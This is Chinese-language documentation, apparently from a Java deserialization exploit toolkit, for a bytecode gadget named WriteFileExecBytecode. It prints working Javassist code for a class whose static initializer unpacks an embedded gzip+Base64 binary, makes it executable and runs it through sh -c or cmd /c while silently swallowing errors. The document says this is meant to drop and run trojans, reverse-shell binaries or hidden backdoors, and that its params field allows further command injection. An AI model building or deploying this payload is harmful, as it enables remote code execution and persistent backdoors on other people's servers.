- 类别:bytecode 别名:— 优先级:20
- 作者:Ar3h
- 依赖:无第三方依赖(内部使用
FileHelper的 gzip+Base64 与 Javassist)
生成一段“字节码 payload”:其静态初始化块在目标 JVM 加载时,把内嵌的 gzip+Base64 数据还原为二进制文件落盘、setExecutable(true) 赋可执行权限,然后用 ProcessBuilder 执行该文件(带可选参数)。等价于“上传并运行”一个本地可执行文件(如 ELF 木马、reverse shell 二进制)。是字节码类 sink(END)。
- 入口
tags:Bytecode、ENDBytecode—— 产出byte[]字节码,需由上游 BytecodeConvert(其nextTags唯一含Bytecode)承接,装入TemplatesImpl后在反序列化时触发类加载。END—— 终点标签,nextTags为空,本 gadget 是链尾 sink。
- 衔接
nextTags:无。 excludes:无。
生成侧与 WriteLargeFile 几乎一致(gzip+Base64 分片嵌入 getString()),额外把 path 与执行 params 烧进模板静态字段:
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(WriteFileExecBytecode.class);
javassistHelper.modifyStringField("path", this.path); // 落盘/执行路径
javassistHelper.modifyStringField("params", this.params); // 执行参数
String content = null;
if (this.b64 != null && !this.b64.isEmpty()) {
content = this.b64; // 直接用 gzip+base64 串
} else if (this.path != null && !this.path.isEmpty()) {
content = FileHelper.compressFileToBase64(this.file); // 读取本地 file 并压缩编码
} else {
ThrowsUtil.throwNotFoundOptionGadgetException("'b64' or 'path'");
}
int mb = 0x100000;
if (content.length() > mb * 20) { // 编码后 > 20MB 拒绝
ThrowsUtil.throwGadgetException("... over 20mb");
}
StringBuilder methodBody = new StringBuilder(); // 分片拼接,绕 64KB 常量上限
methodBody.append("{StringBuilder sb = new StringBuilder();\n");
for (String s : FileHelper.cutString(content, 2000)) {
methodBody.append("sb.append(\"" + s + "\");\n");
}
methodBody.append("return sb.toString();}");
javassistHelper.addMethod("getString", methodBody.toString());
return javassistHelper.getBytecode();
}危险行为在模板类:解压落盘 → 赋可执行权限 → 起进程执行:
public WriteFileExecBytecode() {
File file = new File(path);
try (ByteArrayInputStream bais =
new ByteArrayInputStream(WriteFileExecBytecode.Base64Decode(this.getString()));
GZIPInputStream gzip = new GZIPInputStream(bais);
FileOutputStream fos = new FileOutputStream(path)) {
int len; byte[] buffer = new byte[1024];
while ((len = gzip.read(buffer)) > 0) fos.write(buffer, 0, len); // 还原二进制落盘
file.setExecutable(true); // chmod +x
WriteFileExecBytecode.exec(); // 执行
} catch (Exception e) { /* 静默 */ }
}
public static void exec() throws Exception {
String fileStart = path + " " + params; // "路径 参数"
String[] c = new String[]{"/bin/sh", "-c", fileStart}; // *nix 走 sh -c
if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
c = new String[]{"cmd.exe", "/c", fileStart}; // Windows 走 cmd /c
}
new ProcessBuilder(c).start();
}
static { new WriteFileExecBytecode(); } // 类加载即执行要点:
- 完整攻击闭环:落盘(还原二进制)→
setExecutable(true)→ProcessBuilder起进程,一步到位地把一个可执行文件“上传并运行”。 - 执行命令拼接:
path + " " + params直接拼进sh -c/cmd /c,因此params也可携带 shell 元字符做进一步命令注入。 - 跨平台:按
os.name判断 Windows/*nix 选择 shell。 - 与 WriteLargeFile 共用 gzip+Base64、
cutString(…,2000)分片、20MB 上限、反射Base64Decode(java.util.Base64回退sun.misc.BASE64Decoder)等机制;区别仅在于落盘后追加了赋权与执行。 - 模板注释与
path默认.sock暗示典型用途是投放隐蔽后门(socket/后门二进制)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
b64 |
Base64 字符串 | 直接提供 gzip+Base64 编码后的二进制内容(与 file 二选一,优先) |
无 | — |
file |
本地文件路径 | 由 chains 端读取(支持二进制)并 gzip+Base64;b64 为空时使用 |
无 | — |
path |
目标路径 | 目标 JVM 上落盘并执行的文件路径,如 /tmp/a.elf |
.sock |
— |
params |
参数 | 执行目标文件时附加的命令行参数(直接拼入 shell) | 无 | — |
- 无版本依赖,纯 JDK API;Base64 解码兼容 JDK 8+ 与更低版本。
- 支持二进制/可执行文件;gzip+Base64 编码后总大小硬上限 20MB。
b64与file二选一,均空报NotFoundOptionGadgetException。setExecutable/执行依赖目标 OS 权限与 shell 可用性;params存在二次命令注入面。- 需上游具备“装入字节码并触发类初始化”的能力(
TemplatesImpl路线,通常要求目标 JDK < 17)。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可手动组合为 [..., BytecodeConvert, WriteFileExec]。
- 上游(承接本
Bytecodetag):BytecodeConvert —— 把本 gadget 产出的字节码装入TemplatesImpl。 - 同族 sink(同为
Bytecode/END):WriteLargeFile(仅落盘不执行)、WriteFile(纯文本)、Exec(直接命令执行)、DownloadExec(下载并执行)。